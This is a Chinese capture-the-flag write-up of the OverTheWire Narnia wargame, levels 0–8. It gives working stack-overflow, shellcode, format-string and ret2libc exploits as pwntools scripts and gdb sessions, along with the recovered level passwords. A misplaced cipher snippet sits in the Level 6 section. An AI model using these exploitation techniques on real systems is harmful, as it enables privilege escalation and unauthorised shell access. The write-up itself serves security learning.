OverTheWire-Narnia


前言

本篇文章为OverTheWire网站Narnia关卡的学习记录。

  • 通过ssh narniaX@narnia.labs.overthewire.org 2226 进行登录。
  • 参考Writeup有wargame narnia writeup – litao3rd,以及通过bing搜索引擎搜索OverTheWire-Narnia
  • 如有错误或疑问,可留意指出。

Level 0 -> Level 1

Username: narnia0
Password: narnia0
ssh narnia0@narnia.labs.overthewire.org 2226

  • 进入/narnia目录查看narnia0.c源码,分析发现需要修改val变量值为:0xdeadbeef才能获取shell。
  • 发现可以通过输入超出buf[20]数组长度的数据达到修改val的目的。
  • 通过(python -c ‘print “a”*20+"\xef\xbe\xad\xde"’ ;cat) 修改val的值,注意需要添加 cat 命令获取EOF结束符,不然程序执行完system("/bin/sh");后会直接退出。
  • 参考链接有二进制学习之narnia0十分简单的PWN
narnia0@narnia:/narnia$ ls
narnia0    narnia1.c  narnia3    narnia4.c  narnia6    narnia7.c
narnia0.c  narnia2    narnia3.c  narnia5    narnia6.c  narnia8
narnia1    narnia2.c  narnia4    narnia5.c  narnia7    narnia8.c

narnia0@narnia:/narnia$ cat narnia0.c 

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

narnia0@narnia:/narnia$ ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: aaaaaaaaaaaaaaaaaaaaabcd
buf: aaaaaaaaaaaaaaaaaaaaabcd
val: 0x64636261
WAY OFF!!!!

narnia0@narnia:/narnia$ (python -c 'print "a"*20+"\xef\xbe\xad\xde"' ;cat) | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
efeidiedae

Level 1 -> Level 2

Username: narnia1
Password: efeidiedae
ssh narnia1@narnia.labs.overthewire.org 2226

  • 需要配置Linux系统pwn环境,可参考CTF Pwn环境搭建
  • 需要前置知识:ShellCode编写,参考手把手简易实现SHELLCODE及详解简述获取shellcode的几种方式
  • 参考源码发现,这一关可通过设置EGG环境变量传入ShellCode获取shell。
  • 方法一:直接本地对EGG赋值,参考ShellCode的编写,获取相关知识。
  • objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'可输出ShellCode
narnia1@narnia:/narnia$ cat narnia1.c 

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

narnia1@narnia:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x
2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
narnia1@narnia:/narnia$ ./narnia1
$ cat /etc/narnia_pass/narnia2
nairiepecu
  • 方法二:通过脚本生成ShellCode,并远程访问。这一关是将生成的ShellCode提取出来,加上反斜杠 \ 将编码字符串,远程调用python对EGG进行赋值。
  • 如果直接发送ShellCode,由于转义的原因,可能导致SegamentDefault错误。
  • 参考WarGames-Narnia(1-2)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
conn = ssh('narnia1', 'narnia.labs.overthewire.org', 2226, password='efeidiedae')
sh = conn.run('sh')
# payload = str(asm(shellcraft.i386.linux.cat('/etc/narnia_pass/narnia2'))).replace('$','\$')
# print(payload)
send_egg = 'export EGG=$(python -c \'print "j\\x01\\xfe\\x0c$hnia2h/narhpasshnia_h/narh/etcj\\x05X\\x89\\xe31\\xc9\\x99\\xcd\\x80\\x89\\xc11\\xc0\\xb0\\xbbj\\x01[h\\xff\\xff\\xff\\x7f^\\x99\\xcd\\x80"\')'
print(send_egg)
sh.sendline(send_egg)
sh.sendline('/narnia/narnia1')
print(sh.recvline())
print(sh.recvline())

Level 2 -> Level 3

Username: narnia2
Password: nairiepecu
ssh narnia2@narnia.labs.overthewire.org 2226

  • 这一关需要gdb调试,栈溢出的相关知识。
  • 通过gdb调试,找到覆盖返回地址的偏移;
  • 通过disassemble 反汇编,在程序结尾处下断,再通过esp查看栈的内容,找到传入字符串\x90对应的位置,取中间位置的地址0xffffd85c作为返回地址来覆盖。
  • 参考链接OverTheWire – Narnia 2
narnia2@narnia:/narnia$ cat narnia2.c 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}
# python脚本生成payload见后面说明
narnia2@narnia:/tmp/narnia2$ hexdump test.txt 
0000000 9090 9090 9090 9090 9090 9090 9090 9090
*
0000060 9090 9090 9090 9090 9090 9090 9090 686a
0000070 2f68 2f2f 6873 622f 6e69 0b6a 8958 31e3
0000080 99c9 80cd d85c ffff                    
0000088

narnia2@narnia:/narnia$ gdb narnia2
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804844b <+0>:	push   %ebp
   0x0804844c <+1>:	mov    %esp,%ebp
   0x0804844e <+3>:	add    $0xffffff80,%esp
   0x08048451 <+6>:	cmpl   $0x1,0x8(%ebp)
   0x08048455 <+10>:	jne    0x8048471 <main+38>
   0x08048457 <+12>:	mov    0xc(%ebp),%eax
   0x0804845a <+15>:	mov    (%eax),%eax
   0x0804845c <+17>:	push   %eax
   0x0804845d <+18>:	push   $0x8048520
   0x08048462 <+23>:	call   0x8048300 <printf@plt>
   0x08048467 <+28>:	add    $0x8,%esp
   0x0804846a <+31>:	push   $0x1
   0x0804846c <+33>:	call   0x8048320 <exit@plt>
   0x08048471 <+38>:	mov    0xc(%ebp),%eax
   0x08048474 <+41>:	add    $0x4,%eax
   0x08048477 <+44>:	mov    (%eax),%eax
   0x08048479 <+46>:	push   %eax
   0x0804847a <+47>:	lea    -0x80(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
   0x0804847d <+50>:	push   %eax
   0x0804847e <+51>:	call   0x8048310 <strcpy@plt>
   0x08048483 <+56>:	add    $0x8,%esp
   0x08048486 <+59>:	lea    -0x80(%ebp),%eax
   0x08048489 <+62>:	push   %eax
   0x0804848a <+63>:	push   $0x8048534
   0x0804848f <+68>:	call   0x8048300 <printf@plt>
   0x08048494 <+73>:	add    $0x8,%esp
   0x08048497 <+76>:	mov    $0x0,%eax
   0x0804849c <+81>:	leave  
   0x0804849d <+82>:	ret    
End of assembler dump.
(gdb) b *0x0804849d
Breakpoint 1 at 0x804849d
(gdb) r $(cat /tmp/narnia2/test.txt)
Starting program: /narnia/narnia2 $(cat /tmp/narnia2/test.txt)

Breakpoint 1, 0x0804849d in main ()
(gdb) x /300wx $esp
0xffffd62c:	0xffffd85c	0x00000000	0xffffd6c4	0xffffd6d0
0xffffd63c:	0x00000000	0x00000000	0x00000000	0xf7fc5000
0xffffd64c:	0xf7ffdc0c	0xf7ffd000	0x00000000	0x00000002
0xffffd65c:	0xf7fc5000	0x00000000	0x5671d349	0x6c993f59
0xffffd66c:	0x00000000	0x00000000	0x00000000	0x00000002
0xffffd67c:	0x08048350	0x00000000	0xf7fee710	0xf7e2a199
0xffffd68c:	0xf7ffd000	0x00000002	0x08048350	0x00000000
0xffffd69c:	0x08048371	0x0804844b	0x00000002	0xffffd6c4
0xffffd6ac:	0x080484a0	0x08048500	0xf7fe9070	0xffffd6bc
0xffffd6bc:	0xf7ffd920	0x00000002	0xffffd7f7	0xffffd807
0xffffd6cc:	0x00000000	0xffffd890	0xffffd8a3	0xffffde5f
0xffffd6dc:	0xffffde94	0xffffdea3	0xffffdeb4	0xffffdecb
0xffffd6ec:	0xffffdee0	0xffffdeed	0xffffdef9	0xffffdf02
0xffffd6fc:	0xffffdf15	0xffffdf37	0xffffdf4a	0xffffdf55
0xffffd70c:	0xffffdf6c	0xffffdf7c	0xffffdf87	0xffffdf92
0xffffd71c:	0xffffdf9a	0xffffdfaa	0x00000000	0x00000020
0xffffd72c:	0xf7fd7c90	0x00000021	0xf7fd7000	0x00000010
0xffffd73c:	0x178bfbff	0x00000006	0x00001000	0x00000011
0xffffd74c:	0x00000064	0x00000003	0x08048034	0x00000004
---Type <return> to continue, or q <return> to quit---
0xffffd75c:	0x00000020	0x00000005	0x00000008	0x00000007
0xffffd76c:	0xf7fd9000	0x00000008	0x00000000	0x00000009
0xffffd77c:	0x08048350	0x0000000b	0x000036b2	0x0000000c
0xffffd78c:	0x000036b2	0x0000000d	0x000036b2	0x0000000e
0xffffd79c:	0x000036b2	0x00000017	0x00000001	0x00000019
0xffffd7ac:	0xffffd7db	0x0000001a	0x00000000	0x0000001f
0xffffd7bc:	0xffffdfe8	0x0000000f	0xffffd7eb	0x00000000
0xffffd7cc:	0x00000000	0x00000000	0x00000000	0xd7000000
0xffffd7dc:	0xd953a9b9	0xea5b54ee	0xd280de17	0x693df008
0xffffd7ec:	0x00363836	0x00000000	0x2f000000	0x6e72616e
0xffffd7fc:	0x6e2f6169	0x696e7261	0x90003261	0x90909090
0xffffd80c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd81c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd82c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd83c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd84c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd85c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd86c:	0x90909090	0x90909090	0x68686a90	0x732f2f2f
0xffffd87c:	0x69622f68	0x580b6a6e	0xc931e389	0x5c80cd99
---Type <return> to continue, or q <return> to quit---
0xffffd88c:	0x00ffffd8	0x415f434c	0x653d4c4c	0x53555f6e
0xffffd89c:	0x4654552e	0x4c00382d	0x4f435f53	0x53524f4c

narnia2@narnia:/narnia$ ./narnia2 $(cat /tmp/narnia2/test.txt)
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee
  • python3 脚本生成payload
from pwn import *
import sys

# print("A"*0x84 + "B"*4 + "C"*42)

ret_addr = 0xffffd85c 
shellcode = shellcraft.i386.sh()

# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode))) 22

payload = b"\x90"* 110
payload += asm(shellcode)
payload += p32(ret_addr)

# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
# r $(cat test.txt)

Level 3 -> Level 4

Username: narnia3
Password: vaequeezee
ssh narnia3@narnia.labs.overthewire.org 2226

  • 源码中strcpy(ifile, argv[1]);存在溢出。
  • 结合程序功能是将ifile文件的内容复制到ofile文件中,通过在tmp目录下构造软链接文件ln -s /etc/narnia_pass/narnia4 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass,将ofile覆盖为/tmp/pass,即可在pass文件中查看密码。
  • 注意需要设置目录权限。
narnia3@narnia:/narnia$ cat narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close ’em */
    close(ifd);
    close(ofd);

    exit(1);
}

narnia3@narnia:/narnia$ mkdir -p /tmp/narnia3/`python -c 'print "A"*19'`/tmp
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass
narnia3@narnia:/narnia$ ls -l /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Dec  1 03:06 pass -> /etc/narnia_pass/narnia4
narnia3@narnia:/narnia$ chmod 0777 -R /tmp/narnia3
narnia3@narnia:/narnia$ touch /tmp/pass
narnia3@narnia:/narnia$ ./narnia3 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass
copied contents of /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass to a safer place...  (/tmp/pass)
narnia3@narnia:/narnia$ cat /tmp/pass
thaenohtai

Level 4 -> Level 5

Username: narnia4
Password: thaenohtai
ssh narnia4@narnia.labs.overthewire.org 2226

  • 查看源码,发现strcpy(buffer,argv[1]);存在栈溢出。
narnia4@narnia:/narnia$ cat narnia4.c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}
  • 使用gdb调试narnia4程序,获取buffer的偏移为ebp-0x104,那么"A"*264+"B"*4可覆盖ret地址。
  • 通过x /300wx $esp 获取返回地址值0xffffd7fc在中间处(不同系统,地址不一样)。
narnia4@narnia:~$ python -c 'print "A"*264 + "B"*4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

narnia4@narnia:/narnia$ gdb narnia4
(gdb) disassemble main
...
   0x08048518 <+109>:   lea    -0x104(%ebp),%eax
   0x0804851e <+115>:   push   %eax
   0x0804851f <+116>:   call   0x8048360 <strcpy@plt>
   0x08048524 <+121>:   add    $0x8,%esp
   0x08048527 <+124>:   mov    $0x0,%eax
   0x0804852c <+129>:   leave
   0x0804852d <+130>:   ret
(gdb) b *0x0804852d
Breakpoint 1 at 0x804852d
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(gdb) x /300wx $esp
...
0xffffd86c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd87c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd88c:     0x42424241      0x00000042      0x00000000      0x00000000
  • 通过python脚本生成payload,输出到test.txt文件。
from pwn import *
import sys
# print("A"*0x108 + "B"*4 + "C"*42)
ret_addr = 0xffffd7fc
shellcode = shellcraft.i386.sh()

# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode))) # len 22

payload = b"\x90"* 242
payload += asm(shellcode) # 242 + 22 = 264 = 0x108
payload += p32(ret_addr)

sys.stdout.buffer.write(payload) # > test.txt
narnia4@narnia:/narnia$ ./narnia4 $(cat /tmp/test4/test.txt)
$ cat /etc/narnia_pass/narnia5
faimahchiy

Level 5 -> Level 6

Username: narnia5
Password: faimahchiy
ssh narnia5@narnia.labs.overthewire.org 2226

  • 查看源代码发现snprintf(buffer, sizeof buffer, argv[1]);存在格式字符串漏洞(格式字符串漏洞利用的原理请参考其他资料);
  • 通过gdb调试找到字符串偏移AAAA%177$x,变量i的地址,再通过0xXXXX%496c%177$n,覆盖变量i的值;
  • 在命令行执行,需先通过脚本获取字符串偏移为1,再替换变量i的地址即可。
narnia5@narnia:/narnia$ cat narnia5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
        setreuid(geteuid(),geteuid());
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}
  • python脚本如下。
# -*- coding: utf-8 -*-
from pwn import *
import sys
import os

# get i
# %17\$x

# 计算偏移量
def exec_fmt(payload):
	output = os.popen('./narnia5 '+ str(payload)[1:])
	info = output.read()
	text = bytes(info, encoding='utf-8')
	begin =	text.find(b'[')
	# print(payload)
	end = text.find(b']')
	# print(text[begin+1:end])
	return text[begin+1:end]
	
#info = exec_fmt(b'AAAA%x')
#print(info)

auto = FmtStr(exec_fmt)
offset = auto.offset
#print(offset)
offset = 1

i_addr = 0xffffd290
# vararg_addr = 0xffffd1f0  gdb 
# argv_addr = 0xffffd4a8 # "AAAAAA..."
# offset = (argv_addr - vararg_addr + 4)//4
key = 500

# print(offset)
payload = p32(i_addr) + bytes('%{}c%{}$n'.format(496,offset), encoding='utf-8')

print(payload)
# sys.stdout.buffer.write(payload) # > test.txt
narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xd0\xd6\xff\xff%496c%1$n"'`
Change i's value from 1 -> 500. GOOD
$ cat /etc/narnia_pass/narnia6
neezocaeng

Level 6 -> Level 7

Username: narnia6
Password: neezocaeng
ssh narnia6@narnia.labs.overthewire.org 2226

  • 参考源代码,发现数组b1,b2存在溢出点。
narnia6@narnia:/narnia$ cat narnia6.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        setreuid(geteuid(),geteuid());
    fp(b1);

        exit(1);
}
string="PNUKLYLWRQKGKBE" #密文
key="EICTDGYIYZKTHNSIRFXYCPFUEOCKRN" #与‘A’对应的字符
for i in range(len(string)):
    sub=ord(string[i])-(ord(key[i%len(key)])-ord('A'))
    if(sub<ord('A')):
        sub=sub+26
    print(chr(sub),end='')
  • gdb调试发现数组b1在ebp-0x14,数组b2在ebp-0x1c,函数指针fp在ebp-0xc
  • 画一下堆栈图,可以发现先通过参数b1覆盖fp地址为system函数虚拟地址,在通过参数b2覆盖b1为/bin/sh字符串。
...
   0x0804868f <+231>:   lea    -0x14(%ebp),%eax
   0x08048692 <+234>:   push   %eax
   0x08048693 <+235>:   call   0x8048420 <strcpy@plt>
...
   0x080486a4 <+252>:   lea    -0x1c(%ebp),%eax
   0x080486a7 <+255>:   push   %eax
   0x080486a8 <+256>:   call   0x8048420 <strcpy@plt>
...
   0x080486e4 <+316>:   mov    -0xc(%ebp),%eax
   0x080486e7 <+319>:   call   *%eax
  • 由于系统没有开启地址随机化,可直接通过gdb反汇编函数得到system函数虚拟地址值:0xf7e4c850
(gdb) r b1 b2
...
(gdb) disassemble system
Dump of assembler code for function system:
   0xf7e4c850 <+0>:     sub    $0xc,%esp
   0xf7e4c853 <+3>:     mov    0x10(%esp),%eax
...
  • 通过python生成参数b1的payload。
# -*- coding: utf-8 -*-
from pwn import *

# ldd narnia6
puts_addr = 0xf7e71890 # (gdb) disassemble puts -> 0xf7e71890
libc_puts = 0x0005f890  # readelf -a /usr/lib32/libc.so.6 | grep puts
libc_system = 0x0003a850
system_addr = puts_addr - (libc_puts - libc_system) # (gdb) disassemble system  -> 0xf7e4c850

# print(hex(system_addr))
# system_addr = 0xf7e08160

payload = b"A"*8 + p32(system_addr)
# print(payload)
sys.stdout.buffer.write(payload) # > b1.txt
  • 通过python生成参数b2的payload。
# -*- coding: utf-8 -*-
from pwn import *

payload = b"B"*8 + b"/bin/sh"
# print(payload)
sys.stdout.buffer.write(payload) # > b2.txt
  • 将生成的文件上传到服务器自建的/tmp/mytest6目录下,再执行程序即可得到shell。
narnia6@narnia:/narnia$ ./narnia6 $(cat /tmp/mytest6/b1.txt) $(cat /tmp/mytest6/b2.txt)
$ cat /etc/narnia_pass/narnia7
ahkiaziphu

Level 7 -> Level 8

Username: narnia7
Password: ahkiaziphu
ssh narnia7@narnia.labs.overthewire.org 2226

  • 查看源代码,发现snprintf(buffer, sizeof buffer, format);存在格式字符串漏洞。
  • 这一关与Level5类似,只不过写入的值不是500,而是一个地址值。
  • 首先可以通过程序的输出得到hackedfunction函数的地址(写入的地址值);ptrf函数指针地址(要写入的地址位置)。
  • 通过gdb调试,可以得到offset偏移位置为2。
  • 再通过调用pwntools模块的fmtstr_payload函数生成payload。
narnia7@narnia:/narnia$ cat narnia7.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
            fflush(stdout);
        setreuid(geteuid(),geteuid());
        system("/bin/sh");

        return 0;
}
  • python脚本如下。
# -*- coding: utf-8 -*-
from pwn import *

offset = 2
hackedfunction = 0x8048724
ptrf = 0xffffd618
payload = fmtstr_payload(offset, {ptrf : hackedfunction})
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
  • 将test.txt上传到临时目录下,执行即可。
narnia7@narnia:/narnia$ ./narnia7 $(cat /tmp/mytest7/test.txt)
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd618)
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
mohthuphog

Level 8 -> Level 9

Username: narnia8
Password: mohthuphog
ssh narnia8@narnia.labs.overthewire.org 2226

  • 查看源代码,发现数组bok[20]存在溢出点。
narnia8@narnia:/narnia$ cat narnia8.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc''s variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}
  • 通过gdb调试发现会覆盖字符串指针blah,导致源字符串指向其他地址,引发错误。
  • 解决思路就是将blah位置覆盖的值改成原本字符串指针的值,就不会指向其他地址,从而避免错误。
  • 可通过输入20个字符的方式泄露出blah的地址值。
  • 并且调试发现每增加一个字符串,blah的地址值就减1。通过这个规律可以算出blah的地址值。
  • python脚本如下。
from pwn import *
import sys

# ./narnia8 aaaaaaaaaaaaaaaaaaaa > hex
# blah_addr = 0xffffd4d6 + 19 - 182 + 1
blah_addr = 0xffffd89a + 19 - 182 + 1
ret_addr = blah_addr + 20 + 4 * 3 + 64 # 0xffffd434 ebp = 0xffffd128
shellcode = shellcraft.i386.sh()

# print(hex(blah_addr))
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode)))

payload = b"\x90"*20
payload += p32(blah_addr)
payload += b"\x90"*4
payload += p32(ret_addr)
payload += b"\x90" * 128
payload += asm(shellcode)

# print(len(payload))

# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
narnia8@narnia:/narnia$ ./narnia8 aaaaaaaaaaaaaaaaaaaa | hexdump
0000000 6161 6161 6161 6161 6161 6161 6161 6161
0000010 6161 6161 d89a ffff d6d8 ffff 84a7 0804
0000020 d89a ffff 000a
0000025
narnia8@narnia:/narnia$ ./narnia8 $(cat /tmp/mytest8/test.txt)
...
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae

总结

  • 题目主要是简单的栈溢出、格式化字符串漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值